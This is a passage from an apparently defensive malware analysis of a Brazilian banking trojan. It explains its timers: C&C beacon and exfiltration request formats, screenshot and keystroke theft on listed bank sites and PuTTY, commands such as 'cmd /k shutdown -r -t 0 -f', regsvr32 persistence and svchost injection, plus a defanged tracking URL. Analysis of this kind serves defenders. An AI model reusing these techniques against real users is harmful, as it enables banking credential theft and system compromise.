The OS version numbers correspond to specific versions of MS Windows: Windows XP (5.1), Windows Vista (6.0), Windows 7 (6.1), Windows 8/8.1 (6.2/6.3), Windows 10 (10,0).If any of these conditions are met, a desktop named <code>default_set</code> is created, an <code>explorer.exe</code> process is created and <code>Timer 14</code>’s interval is set to 5 seconds.<h4>Timer 16 (dispatcher , interval 900s/2700s)</h4>An address is picked from the second list of C&amp;C addresses (Appendix A.2.) and the timer’s interval is set to 2,700 seconds. A GET request is sent to this server, its response is a Base64 encoded string of the format:<code>*&lt;number&gt;*&lt;filename&gt;</code>This executes a command:<code>cmd /k \raptor\&lt;filename&gt;</code>If a valid command is received, the timer interval is set to 31,200 seconds.<h4>Timer 17 (screenshot post, interval 0.1s)</h4>A POST request is sent to an address <code>http://&lt;second-level C&amp;C domain&gt;</code>. Data in the POST request is in <code>Base64([&lt;Base64 encoded screenshot&gt;,&lt;Base64 encoded path&gt;])</code>. The POST data contains a screenshot (loaded from <code>.\vri\&lt;NETBIOS name&gt;_byte&lt;counter&gt;.jpg</code>) and its relative path. &nbsp;When all available screenshots are sent, the timer disables itself.<h4>Timer 18 (bot, interval 30s)</h4>When a file <code>logx1</code> exists, the C&amp;C server is contacted using a GET request<code>http://&lt;second-level C&amp;C domain&gt;/?&lt;20-30 random characters&gt;=Base64(Base64(&lt;windows&gt;_&lt;NETBIOS name&gt;_&lt;Volume ID&gt;cmd.html)Base64(“section7”))</code>where the <code>windows</code> variable is given by matched file flags <code>xconf&lt;number&gt;.log</code> (set mostly by <code>Timer 13</code>). More specifically, these flags are transformed into strings:<code>xOK_</code>, <code>xBBx_</code>, <code>xGFx_</code>, <code>xCEFx_</code>, <code>xUNIx_</code>, <code>xPUTTYx_</code>Note that naturally a device may have multiple matches. In this case, corresponding strings are concatenated. &nbsp;The response contains a message in the following format:<code>$&lt;cmd&gt;*&lt;number of xconf files&gt;*&lt;unknown&gt;*&lt;C&amp;C URL&gt;*&lt;path to process to be injected&gt;*&lt;cmd creating a process&gt;*&lt;sleep counter&gt;</code> &nbsp;The table of respective commands is listed below:

<h4>Timer 19 (ping, interval 40s)</h4><code>Timer 19</code> sends a GET request to the second-level C&amp;C server:<code>http://&lt;second-level C&amp;C domain&gt;/?3=Base64(Base64(puxa&lt;NETBIOS name&gt;_&lt;Volume ID&gt;xONLINE&lt;windows&gt;), Base64(section2))</code>,where a <code>windows</code> variable is given by matched software flags set by <code>Timer 13</code> (watcher). Similarly to <code>Timer 18</code>; only this time, the same strings as in the case of <code>Timer 13</code> are used.Moreover, if a file <code>pblq&lt;date&gt;.ini</code> exists, another GET request is sent:<code>http://&lt;second-level C&amp;C domain&gt;/?3=Base64(Base64(puxa&lt;NETBIOS name&gt;_&lt;Volume ID&gt;xONLINE&lt;windows&gt;x_PAREDE_NELE_x), Base64(section2))</code>Also several key combinations (<code>CTRL + W</code>, <code>SHIFT + W</code>, <code>ALT + W</code>, <code>F10</code>, <code>ALT</code>) are disabled.<h4>Timer 20 (watchdog, interval 3s)</h4>When the file <code>pblqxx&lt;time dd.mm&gt;.ini</code> does not exist, the following command is executed:<code>cmd /k shutdown -r -t 0 -f</code><h4>Timer 21 (screenshotter, interval 5s)</h4>A screenshot of a desktop is made and saved to <code>.\vri\&lt;NETBIOS name&gt;_byte&lt;counter&gt;.jpg</code>. Afterwards, the timer disables itself.<h4>Timer 24 (“garbage collector”, interval 2s)</h4>If none of the following class names exists, the memory of <code>rakpat0rpcackdwwn.gif</code> (RAT module sending GET requests to multiple C&amp;C servers (Appendix A.1)) is freed and <code>Timer 13</code> (watcher) is enabled:<code>ieframe (iexplorer.exe)</code> <code>chrome</code> <code>mozilla</code> <code>sunawtframe (Java Swing in browser)</code> <code>customrou</code> <code>BUTTONCLA</code> <code>HwndWrapper (Windows SDK window class)</code> <code>ApplicationFrameWindow (generic window class in windows)</code> <code>Bradesco (Banco Bradesco application)</code><h4>Timer 25/26 (snitch, interval 2s)</h4>Checks the class name of the foreground windows against this list:<code>IEFrame</code>, <code>PuTTY</code>, <code>ApplicationFrameWindow</code>, <code>mozilla</code>, <code>sunawtframe</code>, <code>chrome</code> &nbsp;When the foreground window matches one of these, information is collected from several files (<code>auid.log</code>, <code>auid&lt;malware_version&gt;xx.log</code> and <code>auid.ini</code>), added to telemetry information (malware version, OS version, user privileges – <code>SUPER_USER</code> or <code>UAC_ATIVO</code>), active application identificator (Cliente: <code>BB</code>/<code>GF</code>/<code>CEF</code>/<code>BANRI</code>/<code>PUTTY</code>), classname, path to itself, and a server to which the data will be written in a global variable. This global variable is then saved to <code>&lt;NETBIOS name&gt;_&lt;Volume ID&gt;_log&lt;time d&gt;.html</code> and after encoding to Base64 also this information is sent via a POST request to:<code>http://&lt;second-level C&amp;C domain&gt;/?Base64(&lt;Base64 encoded path the file&gt;&lt;ditto&gt;)</code>The same request is also sent to the same address, but the file path has <code>log&lt;time d&gt;</code> replaced by <code>logs</code>.&nbsp;At the end of the <code>Timer 25</code> event, <code>Timers 13</code> (watcher), <code>17</code> (screenshot post), and <code>18</code> (bot) are enabled and <code>Timers 19</code> (ping), <code>22</code> (null stub), <code>25</code> (snitch), <code>26</code> (snitch) are disabled. &nbsp;Interestingly, <code>Timer 26</code> has its own global variable that is compared to the “standard” telemetry global variable at its event’s beginning. If the content of these two variables is the same, <code>Timer 26</code>’s event ends. Furthermore, <code>Timer 26</code> does not contain any timer manipulations and it does not temporarily disable its own ticks.<h4>Timer 27 (installer, interval 60s)</h4>A GET request is sent to a server <code>hxxp://sstatic1.histat.com/0.gif?4126204&amp;101</code>, possibly to track new infections. Afterwards, if the file <code>pblqxxyy.ini</code> exists, <code>Timer 23</code> (null stub) is enabled.This is followed by a registry cleanup – these values are removed from the Run registry:<code>Java_Plugin_UserInit, Java_Plugins, Java_Plugin_vs102, Java_Plugin_17.0920103, Java_Plugin_17.0920104, Java_Plugin_17.0920105, Java_Plugin_17.0920106, Java_Plugin_17.0920107, AddOns_17.0920109, AddOns_17.0920110, AddOns_17.0920112, Java_Plugin_AddOns_18.0920113, Java_Plugin_AddOns_18.0920114, Java_Plugins_AddOns_18.0920115, Java_Plugins_AddOns_18.0920116, Java_Plugins_AddOns_18.0920117, Java_Plugins_AddOns_18.0920122, Java_Plugins_AddOns_18.0920123, Java_Plugins_AddOns_18.0920124, Java_Plugins_AddOns_18.0920125, Java_Plugins_AddOns_18.0920126, Java_Plugins_AddOns_18.0920127, WinChromeUpdate201806xx0128, WindChrome.Plug00ADEK91020129, SysDir.PLUGS.SOUND132, Realtek.SOUND133, Realtek.SURROUND134, Realtek.SURROUND135, Drive.SURROUND%userName%, chrome.updatesys%userName%, Driver.updatesys%username%</code>Similarly, the malware is added to the Run registry keys by executing the command:<code>regsvr32.exe /s "\raptor\rakpat0rpcack64"</code>,the registered file is the initial loader of the malware. Afterwards, the timer disables itself.<h4>Timer 33 (injector, interval 2s)</h4><code>Time 33</code> injects <code>rakpat0rpcackc.jpg</code> (data extractor), a data extractor module, into:<code>C:\Windows\System32\svchost.exe</code> <code>C:\Windows\SysWOW64\svchost.exe</code> <code>C:\Program Files\Diebold\Warsaw\unins000.exe</code>Afterwards, the timer disables itself.<h4>KeyRelease event</h4>At the beginning, the <code>KeyRelease</code> event checks whether there’s a window handle saved in a global variable. If it is not found, the event ends. Otherwise, browser windows (or more specifically Java classes <code>sunawtframe</code>, <code>sunatcanvas</code>, <code>sunawtdialog</code>) are checked for the&nbsp; Brazilian banking URLs:<code>appf.bb.com</code> <code>appf.brasil.com</code> <code>aai.brasil.com</code> <code>internacional.bb.com.br</code> <code>bblam.bb.com.br</code> <code>aapj.brasil.com</code> <code>aapj.bb.com</code> <code>govconta.caixa.gov.br/sigov</code> <code>internetbanking.caixa.gov.br</code> <code>banrisul.com.br</code>Additionally, the event checks for a running <code>PuTTY</code> instance. If a URL listed above is found or <code>PuTTY</code> is running, the module starts sniffing keys <code>Enter</code>, <code>Backspace</code>, <code>Delete</code>, <code>Alt</code>, <code>Caps Lock</code>, <code>Ctrl</code>; these are logged in the global variable containing telemetry data (in the form <code>[key]</code>). Furthermore, if <code>pblq&lt;time dd.mm&gt;.ini</code> exists, the event will execute <code>TaskKill</code> (see Appendix A.3).&nbsp;<h4>MouseRelease event</h4>If the file <code>pblq&lt;time dd.mm&gt;.ini</code> exists, <code>TaskKill</code> (see Appendix A.3) is executed. Afterwards, active windows are searched for class names <code>sunawtframe</code>, <code>sunatcanvas</code>, <code>sunawtdialog</code>. If at least one of them is found, a screenshot is created (saved after compression to <code>.\vri\&lt;NETBIOS name&gt;_byte&lt;counter&gt;.jpg</code>). Additionally, UI elements of the aforementioned windows are searched for the strings listed in the table below. If the combination of URL opened in the window and one of the corresponding strings is found, the corresponding actions are executed.

Luigino Camastra

Posts by Luigino Camastra

How Cybercriminals Are Turning Job Offers Into Malware Traps

Evolution of Lazarus ‘FudModule - no longer (stand)alone’

From BYOVD to a 0-day: Unveiling Advanced Exploits in Cyber Recruiting Scams

APT group planted backdoors targeting high profile networks in Central Asia

The tangle of WiryJMPer’s obfuscation

Deep dive into Guildma malware